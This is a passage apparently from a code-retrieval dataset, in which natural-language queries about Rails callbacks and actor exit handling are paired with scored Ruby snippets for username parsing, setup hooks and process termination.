onWindows?||!onUnix?;\n un=\"Great One\" if un===nil||un.index(\"root\")!=nil;\n \n return un\n \n end", "title": "" }, { "docid": "cc49de2a53e68eb9e93feb39dcee53a8", "score": "0.6000883", "text": "def parse_chatname(raw_chatname)\n case raw_chatname\n when /\\:(?<hash>.+)@/\n $~[:hash]\n when /#(?<first_participant>.*)\\/\\$(?<second_participant>.*);/\n first_participant = $~[:first_participant]\n second_participant = $~[:second_participant]\n\n [first_participant, second_participant].reject(&:empty?).join('_')\n else\n raw_chatname\n end\n end", "title": "" }, { "docid": "ec9db9c51ddc54726f206b026ad32486", "score": "0.6000186", "text": "def extract_user_from(address)\n user = /sip:([^@]+)@/.match(address).to_a[1]\n # Add a US prefix if the user is all numeric\n if user =~ /^\\d+$/\n user = \"+#{user}\" if user =~ /^1/\n user = \"+1#{user}\" unless user =~ /^\\+1/\n end\n user\n end", "title": "" }, { "docid": "926ae7ca858c87976c9da5228618ce23", "score": "0.59978145", "text": "def get_username()\n username_gitconfig = %x(git config user.name).strip\n username_passwd = Etc.getpwnam(Etc.getlogin).gecos.gsub(/ - SBP.*/,'')\n\n username = username_gitconfig unless username_gitconfig.nil?\n username = username_passwd if username.empty?\n username\n end", "title": "" }, { "docid": "e63b5c88a8d5936b081135def0cbe7bc", "score": "0.5986172", "text": "def set_username_from(name)\n n = 0\n new_name = name\n while USER_CLASS.where(\"username = ?\", new_name).present? do\n n+=1\n new_name = \"#{name.split(\"@\")[0]}#{n}\" # accounts for emails and normal strings\n end\n new_name\n end", "title": "" }, { "docid": "2de5d9ba05644faa3a08382698bed7b5", "score": "0.5984891", "text": "def nick_parse(nick)\n match = /([a-zA-Z\\d]+)/.match(nick)\n shortnick = ''\n\n if match\n shortnick = match[1]\n else\n shortnick = nick\n end\n\n return shortnick\nend", "title": "" }, { "docid": "22aaa08cd44f38003a250ffa467c90c4", "score": "0.59778374", "text": "def get_aws_username(user_hash, log_on_missing: true)\n if user_hash.has_key?('aws')\n user_hash.fetch('aws').downcase\n else\n begin\n from_email = find_username_from_email_address(user_hash)\n rescue KeyError\n raise if log_on_missing\n end\n if from_email\n from_email.downcase\n else\n if log_on_missing\n enqueue_report('Could not infer AWS username for ' +\n user_hash.inspect)\n end\n nil\n end\n end\n end", "title": "" }, { "docid": "fdc75d0b71f400afe59992dda1f07d1c", "score": "0.59731656", "text": "def username(opt=nil)\n if opt == :urlencoded\n ::URI.escape(@username)\n else\n @username\n end\n end", "title": "" }, { "docid": "03b9b7d69a0016f360b48d15770f26f4", "score": "0.5943384", "text": "def parse_name\n return unless name.match('(.*)/(.*)/(.*)')\n org Regexp.last_match[1] unless org\n user Regexp.last_match[1] unless user\n repo Regexp.last_match[2] unless repo\n hook_name Regexp.last_match[3] unless hook_name\nend", "title": "" } ]
f74c29bdfc4a183e1ec1b91334cd5be2
Use callbacks to share common setup or constraints between actions.
[ { "docid": "b916f5448a6426c147878e01d74310e2", "score": "0.0", "text": "def set_story\n @story = Story.find(params[:id])\n end", "title": "" } ]
[ { "docid": "bd89022716e537628dd314fd23858181", "score": "0.6165152", "text": "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "title": "" }, { "docid": "3db61e749c16d53a52f73ba0492108e9", "score": "0.60463154", "text": "def action_hook; end", "title": "" }, { "docid": "b8b36fc1cfde36f9053fe0ab68d70e5b", "score": "0.59467196", "text": "def run_actions; end", "title": "" }, { "docid": "3e521dbc644eda8f6b2574409e10a4f8", "score": "0.5917112", "text": "def define_action_hook; end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.5890387", "text": "def actions; end", "title": "" }, { "docid": "bfb8386ef5554bfa3a1c00fa4e20652f", "score": "0.58345735", "text": "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "title": "" }, { "docid": "6c8e66d9523b9fed19975542132c6ee4", "score": "0.57773316", "text": "def add_actions; end", "title": "" }, { "docid": "9c186951c13b270d232086de9c19c45b", "score": "0.56991524", "text": "def callbacks; end", "title": "" }, { "docid": "9c186951c13b270d232086de9c19c45b", "score": "0.56991524", "text": "def callbacks; end", "title": "" }, { "docid": "6ce8a8e8407572b4509bb78db9bf8450", "score": "0.565454", "text": "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "title": "" }, { "docid": "1964d48e8493eb37800b3353d25c0e57", "score": "0.5622282", "text": "def define_action_helpers; end", "title": "" }, { "docid": "5df9f7ffd2cb4f23dd74aada87ad1882", "score": "0.54232633", "text": "def post_setup\n end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.54119074", "text": "def action_methods; end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.54119074", "text": "def action_methods; end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.54119074", "text": "def action_methods; end", "title": "" }, { "docid": "c5904f93614d08afa38cc3f05f0d2365", "score": "0.53937256", "text": "def before_setup; end", "title": "" }, { "docid": "f099a8475f369ce73a38d665b6ee6877", "score": "0.53801376", "text": "def action_run\n end", "title": "" }, { "docid": "2c4e5a90aa8efaaa3ed953818a9b30d2", "score": "0.5358599", "text": "def execute(setup)\n @action.call(setup)\n end", "title": "" }, { "docid": "0464870c8688619d6c104d733d355b3b", "score": "0.53412294", "text": "def define_action_helpers?; end", "title": "" }, { "docid": "0e7bdc54b0742aba847fd259af1e9f9e", "score": "0.5340814", "text": "def set_actions\n actions :all\n end", "title": "" }, { "docid": "5510330550e34a3fd68b7cee18da9524", "score": "0.53314966", "text": "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "title": "" }, { "docid": "97c8901edfddc990da95704a065e87bc", "score": "0.53114754", "text": "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "title": "" }, { "docid": "4f9a284723e2531f7d19898d6a6aa20c", "score": "0.52984965", "text": "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "title": "" }, { "docid": "210e0392ceaad5fc0892f1335af7564b", "score": "0.52977055", "text": "def setup_handler\n end", "title": "" }, { "docid": "83684438c0a4d20b6ddd4560c7683115", "score": "0.5296272", "text": "def before_actions(*logic)\n self.before_actions = logic\n end", "title": "" }, { "docid": "a997ba805d12c5e7f7c4c286441fee18", "score": "0.5260649", "text": "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "title": "" }, { "docid": "1d50ec65c5bee536273da9d756a78d0d", "score": "0.5245076", "text": "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52388334", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52388334", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52388334", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52388334", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52388334", "text": "def action; end", "title": "" }, { "docid": "e34cc2a25e8f735ccb7ed8361091c83e", "score": "0.5235081", "text": "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "title": "" }, { "docid": "635288ac8dd59f85def0b1984cdafba0", "score": "0.52321917", "text": "def workflow\n end", "title": "" }, { "docid": "78b21be2632f285b0d40b87a65b9df8c", "score": "0.5228592", "text": "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "title": "" }, { "docid": "6350959a62aa797b89a21eacb3200e75", "score": "0.5220735", "text": "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "title": "" }, { "docid": "923ee705f0e7572feb2c1dd3c154b97c", "score": "0.52198535", "text": "def process_action(...)\n send_action(...)\n end", "title": "" }, { "docid": "b89a3908eaa7712bb5706478192b624d", "score": "0.52139324", "text": "def before_dispatch(env); end", "title": "" }, { "docid": "d89a3e408ab56bf20bfff96c63a238dc", "score": "0.5208539", "text": "def setup\n # override and do something appropriate\n end", "title": "" }, { "docid": "7115b468ae54de462141d62fc06b4190", "score": "0.5206585", "text": "def after_actions(*logic)\n self.after_actions = logic\n end", "title": "" }, { "docid": "62c402f0ea2e892a10469bb6e077fbf2", "score": "0.5178542", "text": "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "title": "" }, { "docid": "72ccb38e1bbd86cef2e17d9d64211e64", "score": "0.5175199", "text": "def setup(_context)\n end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.5173538", "text": "def setup(resources) ; end", "title": "" }, { "docid": "1fd817f354d6cb0ff1886ca0a2b6cce4", "score": "0.5167041", "text": "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "title": "" }, { "docid": "5531df39ee7d732600af111cf1606a35", "score": "0.51614195", "text": "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "title": "" }, { "docid": "bb6aed740c15c11ca82f4980fe5a796a", "score": "0.51577675", "text": "def determine_valid_action\n\n end", "title": "" }, { "docid": "b38f9d83c26fd04e46fe2c961022ff86", "score": "0.5153909", "text": "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "title": "" }, { "docid": "994d9fe4eb9e2fc503d45c919547a327", "score": "0.51528823", "text": "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "title": "" }, { "docid": "199fce4d90958e1396e72d961cdcd90b", "score": "0.5152225", "text": "def startcompany(action)\n @done = true\n action.setup\n end", "title": "" }, { "docid": "62fabe9dfa2ec2ff729b5a619afefcf0", "score": "0.51429904", "text": "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "title": "" }, { "docid": "faddd70d9fef5c9cd1f0d4e673e408b9", "score": "0.5141399", "text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "title": "" }, { "docid": "adb8115fce9b2b4cb9efc508a11e5990", "score": "0.51345575", "text": "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "title": "" }, { "docid": "e1dd18cf24d77434ec98d1e282420c84", "score": "0.51145", "text": "def setup(&block)\n define_method(:setup, &block)\n end", "title": "" }, { "docid": "3b4fb29fa45f95d436fd3a8987f12de7", "score": "0.5114052", "text": "def setup\n transition_to(:setup)\n end", "title": "" }, { "docid": "3b4fb29fa45f95d436fd3a8987f12de7", "score": "0.5114052", "text": "def setup\n transition_to(:setup)\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5110216", "text": "def action\n end", "title": "" }, { "docid": "f54964387b0ee805dbd5ad5c9a699016", "score": "0.5108656", "text": "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "title": "" }, { "docid": "35b302dd857a031b95bc0072e3daa707", "score": "0.50935394", "text": "def config(action, *args); end", "title": "" }, { "docid": "bc3cd61fa2e274f322b0b20e1a73acf8", "score": "0.5089196", "text": "def setup\n @setup_proc.call(self) if @setup_proc\n end", "title": "" }, { "docid": "5c3cfcbb42097019c3ecd200acaf9e50", "score": "0.5081936", "text": "def before_action \n end", "title": "" }, { "docid": "246840a409eb28800dc32d6f24cb1c5e", "score": "0.5079627", "text": "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "title": "" }, { "docid": "dfbcf4e73466003f1d1275cdf58a926a", "score": "0.50675833", "text": "def action\n end", "title": "" }, { "docid": "36eb407a529f3fc2d8a54b5e7e9f3e50", "score": "0.5056105", "text": "def matt_custom_action_begin(label); end", "title": "" }, { "docid": "b6c9787acd00c1b97aeb6e797a363364", "score": "0.5053687", "text": "def setup\n # override this if needed\n end", "title": "" }, { "docid": "9fc229b5b48edba9a4842a503057d89a", "score": "0.5050475", "text": "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "title": "" }, { "docid": "9fc229b5b48edba9a4842a503057d89a", "score": "0.5050475", "text": "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "title": "" }, { "docid": "fd421350722a26f18a7aae4f5aa1fc59", "score": "0.503471", "text": "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "title": "" }, { "docid": "d02030204e482cbe2a63268b94400e71", "score": "0.5028311", "text": "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "title": "" }, { "docid": "4224d3231c27bf31ffc4ed81839f8315", "score": "0.501982", "text": "def after(action)\n invoke_callbacks *options_for(action).after\n end", "title": "" }, { "docid": "24506e3666fd6ff7c432e2c2c778d8d1", "score": "0.50157547", "text": "def pre_task\n end", "title": "" }, { "docid": "0c16dc5c1875787dacf8dc3c0f871c53", "score": "0.5013552", "text": "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "title": "" }, { "docid": "c99a12c5761b742ccb9c51c0e99ca58a", "score": "0.50014806", "text": "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "title": "" }, { "docid": "0cff1d3b3041b56ce3773d6a8d6113f2", "score": "0.50011593", "text": "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "title": "" }, { "docid": "791f958815c2b2ac16a8ca749a7a822e", "score": "0.49976763", "text": "def setup_signals; end", "title": "" }, { "docid": "6e44984b54e36973a8d7530d51a17b90", "score": "0.4990292", "text": "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "title": "" }, { "docid": "6e44984b54e36973a8d7530d51a17b90", "score": "0.4990292", "text": "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "title": "" }, { "docid": "5aa51b20183964c6b6f46d150b0ddd79", "score": "0.49882022", "text": "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "title": "" }, { "docid": "7647b99591d6d687d05b46dc027fbf23", "score": "0.4981269", "text": "def initialize(*args)\n super\n @action = :set\nend", "title": "" }, { "docid": "2a2b0a113a73bf29d5eeeda0443796ec", "score": "0.49792367", "text": "def setup\n #implement in subclass;\n end", "title": "" }, { "docid": "67e7767ce756766f7c807b9eaa85b98a", "score": "0.49766538", "text": "def after_set_callback; end", "title": "" }, { "docid": "63e628f34f3ff34de8679fb7307c171c", "score": "0.4967978", "text": "def lookup_action; end", "title": "" }, { "docid": "a5294693c12090c7b374cfa0cabbcf95", "score": "0.49667212", "text": "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "title": "" }, { "docid": "57dbfad5e2a0e32466bd9eb0836da323", "score": "0.4958987", "text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "title": "" }, { "docid": "5b6d613e86d3d68152f7fa047d38dabb", "score": "0.49572337", "text": "def release_actions; end", "title": "" }, { "docid": "64e0f1bb6561b13b482a3cc8c532cc37", "score": "0.49550423", "text": "def setup(easy)\n super\n easy.customrequest = @verb\n end", "title": "" }, { "docid": "4aceccac5b1bcf7d22c049693b05f81c", "score": "0.4954479", "text": "def around_hooks; end", "title": "" }, { "docid": "2318410efffb4fe5fcb97970a8700618", "score": "0.4952353", "text": "def save_action; end", "title": "" }, { "docid": "fbd0db2e787e754fdc383687a476d7ec", "score": "0.494726", "text": "def action_target()\n \n end", "title": "" }, { "docid": "b280d59db403306d7c0f575abb19a50f", "score": "0.4944055", "text": "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "title": "" }, { "docid": "9f7547d93941fc2fcc7608fdf0911643", "score": "0.4935437", "text": "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "title": "" }, { "docid": "da88436fe6470a2da723e0a1b09a0e80", "score": "0.4931248", "text": "def before_setup\n # do nothing by default\n end", "title": "" }, { "docid": "17ffe00a5b6f44f2f2ce5623ac3a28cd", "score": "0.49283475", "text": "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "title": "" }, { "docid": "21d75f9f5765eb3eb36fcd6dc6dc2ec3", "score": "0.49281213", "text": "def default_action; end", "title": "" }, { "docid": "3ba85f3cb794f951b05d5907f91bd8ad", "score": "0.49268973", "text": "def setup(&blk)\n @setup_block = blk\n end", "title": "" }, { "docid": "80834fa3e08bdd7312fbc13c80f89d43", "score": "0.4921738", "text": "def callback_phase\n super\n end", "title": "" }, { "docid": "f1da8d654daa2cd41cb51abc7ee7898f", "score": "0.49204507", "text": "def advice\n end", "title": "" }, { "docid": "99a608ac5478592e9163d99652038e13", "score": "0.4918924", "text": "def _handle_action_missing(*args); end", "title": "" }, { "docid": "399ad686f5f38385ff4783b91259dbd7", "score": "0.49182287", "text": "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "title": "" }, { "docid": "6e0842ade69d031131bf72e9d2a8c389", "score": "0.4916538", "text": "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend", "title": "" }, { "docid": "0dccebcb0ecbb1c4dcbdddd4fb11bd8a", "score": "0.49158585", "text": "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "title": "" }, { "docid": "9e264985e628b89f1f39d574fdd7b881", "score": "0.49156788", "text": "def duas1(action)\n action.call\n action.call\nend", "title": "" } ]
026d6a426c1d1c195af9eb823af06dcb
Watch for exit events from another actor
[ { "docid": "07c57072a6f0125034dbc94ba4cdc6f2", "score": "0.0", "text": "def monitor(actor)\n raise NotActorError, \"can't link outside actor context\" unless Celluloid.actor?\n Thread.current[:celluloid_actor].linking_request(actor, :link)\n end", "title": "" } ]
[ { "docid": "e7059219c662c12b72ef4c80a9d37c2c", "score": "0.72414666", "text": "def notify_exited(actor, reason)\n event = [:exit, actor, reason]\n\n if @trap_exit\n send event\n elsif ex\n # Need to raise the error in the context of the actor thread itself,\n # or else kill the actor thread and notify its linked actors.\n #raise ex\n end\n end", "title": "" }, { "docid": "da68544c214106a701026cc5b1d104d4", "score": "0.67168933", "text": "def handle_exit_event(exit_event)\n klass = @subject.class\n exit_handler = klass.exit_handler if klass.respond_to? :exit_handler\n if exit_handler\n return @subject.send(exit_handler, exit_event.actor, exit_event.reason)\n end\n\n # Reraise exceptions from linked actors\n # If no reason is given, actor terminated cleanly\n raise exit_event.reason if exit_event.reason\n end", "title": "" }, { "docid": "aaa51f5a7ca2e8203c12eb9402025123", "score": "0.6696939", "text": "def notify_exited(actor, reason)\n to_send = nil\n @lock.receive\n begin\n return self unless @alive\n @links.delete(actor)\n ex = DeadActorError.new(actor, reason)\n if @trap_exit\n to_send = ex\n elsif reason\n @interrupts << ex\n if @filter\n @filter = nil\n @ready << nil\n end\n end\n ensure\n @lock << nil\n end\n send to_send if to_send\n self\n end", "title": "" }, { "docid": "c7486832717353b18edd04fca1116a4f", "score": "0.66474766", "text": "def on_signal(signal)\n @exited = true\n end", "title": "" }, { "docid": "cb40e04659fc4d67f0c449d9638c1398", "score": "0.6539755", "text": "def on_exit(status)\n @exited = true\n end", "title": "" }, { "docid": "6be566795c4594852b8ba141040bf690", "score": "0.64648014", "text": "def exit_worker\n schedule { throw :exit }\n end", "title": "" }, { "docid": "ccf4ac64962d0baf986ef05aec484fdd", "score": "0.6414258", "text": "def __handle_exit_event(exit_event)\n exit_handler = self.class.exit_handler\n if exit_handler\n return send(exit_handler, exit_event.actor, exit_event.reason)\n end\n \n # Reraise exceptions from linked actors\n # If no reason is given, actor terminated cleanly\n raise exit_event.reason if exit_event.reason\n end", "title": "" }, { "docid": "ccf4ac64962d0baf986ef05aec484fdd", "score": "0.6414258", "text": "def __handle_exit_event(exit_event)\n exit_handler = self.class.exit_handler\n if exit_handler\n return send(exit_handler, exit_event.actor, exit_event.reason)\n end\n \n # Reraise exceptions from linked actors\n # If no reason is given, actor terminated cleanly\n raise exit_event.reason if exit_event.reason\n end", "title": "" }, { "docid": "afdb61c2f7b03b88565194232a76ce43", "score": "0.6339022", "text": "def terminates\n\t\tevent :failed, :command => true, :terminal => true\n\t\tinterruptible\n\t end", "title": "" }, { "docid": "f9f4aaaff1c15969a7f019c19c02437e", "score": "0.63093233", "text": "def exit!\n @exiting = true\n end", "title": "" }, { "docid": "6e89d5f86155878b4b2d5fe4c4c78cf9", "score": "0.6306039", "text": "def exit\n case @status\n when :sleep\n wake_resume(:exit)\n when :run\n throw :exit\n end\n end", "title": "" }, { "docid": "94087b338ac4f2a10d5aea98770ac9b1", "score": "0.63003707", "text": "def on_exit(state)\n log \"Exit #{state}\"\n if state == STATE_RUNNING\n send_stop_command!\n end\n end", "title": "" }, { "docid": "0afc1387dc830a6f85f1229ad056cc43", "score": "0.6256354", "text": "def cleanup(exit_event)\n # !!! DO NOT INTRODUCE ADDITIONAL GLOBAL VARIABLES !!!\n # rubocop:disable Style/GlobalVars\n Celluloid::Probe.actor_died(self) if $CELLULOID_MONITORING\n # rubocop:enable Style/GlobalVars\n\n @mailbox.shutdown\n @links.each do |actor|\n actor.mailbox << exit_event if actor.mailbox.alive?\n end\n\n tasks.to_a.each do |task|\n begin\n task.terminate\n rescue DeadTaskError\n # TODO: not tested (failed on Travis)\n end\n end\n rescue => ex\n # TODO: metadata\n Internals::Logger.crash(\"CLEANUP CRASHED!\", ex)\n end", "title": "" }, { "docid": "adb5bf69a63ca2390900295b8beb6824", "score": "0.6221465", "text": "def ending(agent)\n end", "title": "" }, { "docid": "ba7d72303c0da0a416df3b4e619f3c3b", "score": "0.6211367", "text": "def on_exit_process(ev)\r\n exit(1)\r\n end", "title": "" }, { "docid": "c066d90da3613ec7738a9298826041ba", "score": "0.6140643", "text": "def terminate()\n EventMachine.stop()\n end", "title": "" }, { "docid": "f745553f286b10f1f1e824eca7c81adb", "score": "0.6136053", "text": "def exited?; end", "title": "" }, { "docid": "d50238d8c5e0ef8225a8c25b198f6c57", "score": "0.61340237", "text": "def exit_handler; @exit_handler; end", "title": "" }, { "docid": "43e5e8037ffb5f2be0cf6b94bfceb39d", "score": "0.60640436", "text": "def at_exit\nend", "title": "" }, { "docid": "c3aadcc073ed85dad4e387556417f021", "score": "0.60569537", "text": "def exit_handler; @_exit_handler; end", "title": "" }, { "docid": "4aac6f8f693b65f85816b33b2f3e82ec", "score": "0.6055871", "text": "def exit &block\n exit_callbacks << block\n end", "title": "" }, { "docid": "cfa18cb59b3c0a55307cbf1fb774715c", "score": "0.6049053", "text": "def on_exit &block\n @on_exit = block\n end", "title": "" }, { "docid": "2b95e0fdbc7f6df20273eddd8ee4393c", "score": "0.6025638", "text": "def on_exit(&block)\n @on_exit = block\n end", "title": "" }, { "docid": "ac457680fe6f822a779f2b710e262820", "score": "0.6011228", "text": "def process_exited\n end", "title": "" }, { "docid": "29274b301826698e0b75e626d5dae4d8", "score": "0.60096586", "text": "def exits\n @state[\"exits\"]\n end", "title": "" }, { "docid": "e4cbd650d2709c32f661db0573625b73", "score": "0.600941", "text": "def on_exit( &block )\n @on_exit = block\n end", "title": "" }, { "docid": "0443e96697b8fc1973c64c573dd01e2e", "score": "0.599352", "text": "def on_exit(*args, &block)\n add_callback(:on_exit, FlowMachine::StateCallback.new(*args, &block))\n end", "title": "" }, { "docid": "7ef540b4a6d1dd5da5454c98afd6d289", "score": "0.5978433", "text": "def sigterm_handler\n warn \"Program ending\"\n exit\nend", "title": "" }, { "docid": "80d99f6e26e64073666861c5c98a92a1", "score": "0.59737015", "text": "def exited(player)\n @on_exit.call(player) unless @on_exit.nil?\n end", "title": "" }, { "docid": "4b148475d86204cff8023d29cc7357a3", "score": "0.59656644", "text": "def exit\n @daddy.exit\n end", "title": "" }, { "docid": "c39b93b4bde8c92abbe301c92bbdb160", "score": "0.5965518", "text": "def exit\n\n end", "title": "" }, { "docid": "d76b3da02402e08f023e98c74a4f3a35", "score": "0.59473675", "text": "def on_exit()\n self.destroy()\n end", "title": "" }, { "docid": "3faf4ee0537020804be36b451a211b3a", "score": "0.59338176", "text": "def exit; state end", "title": "" }, { "docid": "251634867f9c6708f84e42a228364353", "score": "0.5923634", "text": "def at_exit(&block)\n @exit_handler = block\n end", "title": "" }, { "docid": "7f3351f05e2afec3a24e1fad179fd095", "score": "0.5922979", "text": "def terminate\n terminate!\n Actor.join(self)\n nil\n end", "title": "" }, { "docid": "854ff84a570a12e38ede1ac6e4529c84", "score": "0.5917885", "text": "def on_exit( &block )\n off_exit\n @shutdown_handler = ShutdownHandler.new do\n\n # Need to lock out the event loop since exit handler is called\n # from a different thread.\n @lock.synchronize do\n @queue.clear\n block.call\n end\n end\n @log.debug { \"Registered exit: #{ @shutdown_handler.handler }\" }\n end", "title": "" }, { "docid": "981e79d1410ecf4ee67b7c289e73450e", "score": "0.59114414", "text": "def worker_exit(&block)\n block ? register_hook(:worker_exit, block) : hooks(:worker_exit)\n end", "title": "" }, { "docid": "90866d2a43b6533dbaf38192d02f58af", "score": "0.5908717", "text": "def trap_exit\n current._trap_exit\n end", "title": "" }, { "docid": "e5980064c807bf55bb0de7ac2ab72140", "score": "0.590484", "text": "def exit\n end", "title": "" }, { "docid": "cdb3081bc09955efa1d9e5a0ded17815", "score": "0.5904114", "text": "def shutdown(exit_event = ExitEvent.new(behavior_proxy))\n @behavior.shutdown\n cleanup exit_event\n ensure\n Thread.current[:celluloid_actor] = nil\n Thread.current[:celluloid_mailbox] = nil\n end", "title": "" }, { "docid": "65a76f324d0c8bcdd1541c7d869c8fa9", "score": 